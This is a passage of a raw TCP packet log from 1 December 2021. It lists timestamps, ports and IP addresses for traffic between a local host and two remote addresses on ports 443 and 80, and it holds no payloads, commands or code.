Dec 1, 2021 10:04:36.311093092 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311144114 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311178923 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311178923 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311189890 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311214924 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311224937 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311244965 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311253071 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311266899 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311268091 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311296940 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311301947 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311311960 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311327934 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311364889 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311368942 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311407089 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311443090 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311506033 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311527014 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311589003 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311593056 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311789989 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311810970 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311856031 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311861992 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.311897039 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.311919928 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312015057 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312036991 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312088966 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312093973 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312113047 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312130928 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312216043 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312237978 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312273979 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312279940 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312325954 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312567949 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312589884 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312648058 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312654018 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312685013 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312707901 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312824011 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312859058 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312885046 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312890053 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.312922955 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.312938929 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313051939 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313074112 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313129902 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313134909 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313178062 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313236952 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313260078 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313301086 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313306093 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313335896 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313354969 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313707113 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313730955 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313782930 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313787937 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.313824892 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.313991070 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314013004 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314055920 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.314060926 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314080000 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.314100027 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.314100027 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314110994 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314135075 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314156055 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.314161062 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314177036 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:36.314198971 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.314235926 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.315040112 CET	49759	443	192.168.2.3	162.159.135.233
Dec 1, 2021 10:04:36.315049887 CET	443	49759	162.159.135.233	192.168.2.3
Dec 1, 2021 10:04:38.531532049 CET	49766	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.589529037 CET	80	49766	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.590133905 CET	49766	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.590396881 CET	49766	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.590408087 CET	49766	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.648292065 CET	80	49766	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.693572044 CET	80	49766	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.693932056 CET	49766	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.693954945 CET	49766	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.729538918 CET	49768	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.751837015 CET	80	49766	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.787797928 CET	80	49768	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.789414883 CET	49768	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.789549112 CET	49768	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.790735006 CET	49768	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.847186089 CET	80	49768	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.848320007 CET	80	49768	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.896084070 CET	80	49768	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:38.896243095 CET	49768	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.896806002 CET	49768	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.943443060 CET	49770	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:38.955074072 CET	80	49768	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.001003027 CET	80	49770	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.005554914 CET	49770	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.015736103 CET	49770	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.017734051 CET	49770	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.073014975 CET	80	49770	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.075016975 CET	80	49770	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.116993904 CET	80	49770	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.117166996 CET	49770	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.118655920 CET	49770	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.146104097 CET	49771	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.175729990 CET	80	49770	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.204046011 CET	80	49771	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.205358028 CET	49771	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.205468893 CET	49771	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.205477953 CET	49771	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.262974024 CET	80	49771	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.306132078 CET	80	49771	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.308865070 CET	49771	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.318787098 CET	49771	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.349706888 CET	49774	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.376485109 CET	80	49771	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.407397032 CET	80	49774	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.407645941 CET	49774	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.407718897 CET	49774	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.407727003 CET	49774	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.465392113 CET	80	49774	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.507246017 CET	80	49774	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.507404089 CET	49774	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.507584095 CET	49774	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.537555933 CET	49776	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.565108061 CET	80	49774	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.595230103 CET	80	49776	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.595376015 CET	49776	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.595597982 CET	49776	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.595608950 CET	49776	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.653256893 CET	80	49776	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.694449902 CET	80	49776	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.694794893 CET	49776	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.695684910 CET	49776	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.753257990 CET	80	49776	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.757555008 CET	49778	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.814810038 CET	80	49778	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.814928055 CET	49778	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.815232038 CET	49778	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.817589045 CET	49778	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.872265100 CET	80	49778	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.874815941 CET	80	49778	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.920986891 CET	80	49778	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:39.921106100 CET	49778	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.923887968 CET	49778	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.954896927 CET	49779	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:39.981107950 CET	80	49778	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.012986898 CET	80	49779	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.013232946 CET	49779	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.013690948 CET	49779	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.013711929 CET	49779	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.071681023 CET	80	49779	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.118258953 CET	80	49779	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.119335890 CET	49779	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.119945049 CET	49779	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.163301945 CET	49780	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.177968979 CET	80	49779	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.220856905 CET	80	49780	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.221589088 CET	49780	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.222048044 CET	49780	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.222222090 CET	49780	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.279555082 CET	80	49780	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.279608965 CET	80	49780	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.321014881 CET	80	49780	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.321058035 CET	80	49780	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.321139097 CET	49780	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.321404934 CET	49780	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.350358009 CET	49782	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.378865004 CET	80	49780	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.408055067 CET	80	49782	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.408175945 CET	49782	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.408685923 CET	49782	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.408701897 CET	49782	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.466378927 CET	80	49782	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.512445927 CET	80	49782	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.512579918 CET	49782	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.513335943 CET	49782	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.570947886 CET	80	49782	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.826729059 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.884421110 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.884603024 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.885488987 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.966351986 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966413021 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966455936 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966496944 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966548920 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966567039 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.966593981 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966622114 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.966648102 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966675997 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.966705084 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966746092 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966785908 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:40.966806889 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:40.966845989 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024384975 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024406910 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024422884 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024440050 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024458885 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024476051 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024493933 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024499893 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024511099 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024528980 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024547100 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024564028 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024565935 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024581909 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024595022 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024599075 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024616957 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024633884 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024643898 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024650097 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024667978 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024676085 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024684906 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024698973 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024701118 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024719000 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.024739027 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.024770975 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.082643986 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082711935 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082731009 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082747936 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082765102 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082782984 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082796097 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.082798958 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082819939 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082838058 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082851887 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.082856894 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082863092 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.082875967 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082910061 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082928896 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082932949 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.082947016 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082958937 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.082963943 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.082983971 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083000898 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083013058 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083018064 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083030939 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083038092 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083059072 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083070040 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083077908 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083096027 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083112001 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083121061 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083128929 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083147049 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083148003 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083163977 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083178997 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083180904 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083198071 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083213091 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083214045 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083231926 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083249092 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083256960 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083265066 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083273888 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083282948 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083300114 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083317041 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083333015 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083334923 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083348989 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083364964 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083372116 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083381891 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083389044 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083400965 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.083410978 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.083460093 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.140991926 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141011953 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141031027 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141047001 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141064882 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141078949 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141078949 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141097069 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141114950 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141128063 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141134977 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141145945 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141146898 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141163111 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141180038 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141197920 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141197920 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141216040 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141230106 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141247988 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141249895 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141259909 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141261101 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141279936 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141280890 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141299963 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141314983 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141333103 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141334057 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141350985 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141355038 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141361952 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141371012 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141387939 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141406059 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141419888 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141423941 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141443014 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141447067 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141455889 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141474962 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141493082 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141498089 CET	49786	80	192.168.2.3	95.213.165.249
Dec 1, 2021 10:04:41.141505003 CET	80	49786	95.213.165.249	192.168.2.3
Dec 1, 2021 10:04:41.141518116 CET	80	49786	95.213.165.249	192.168.2.3
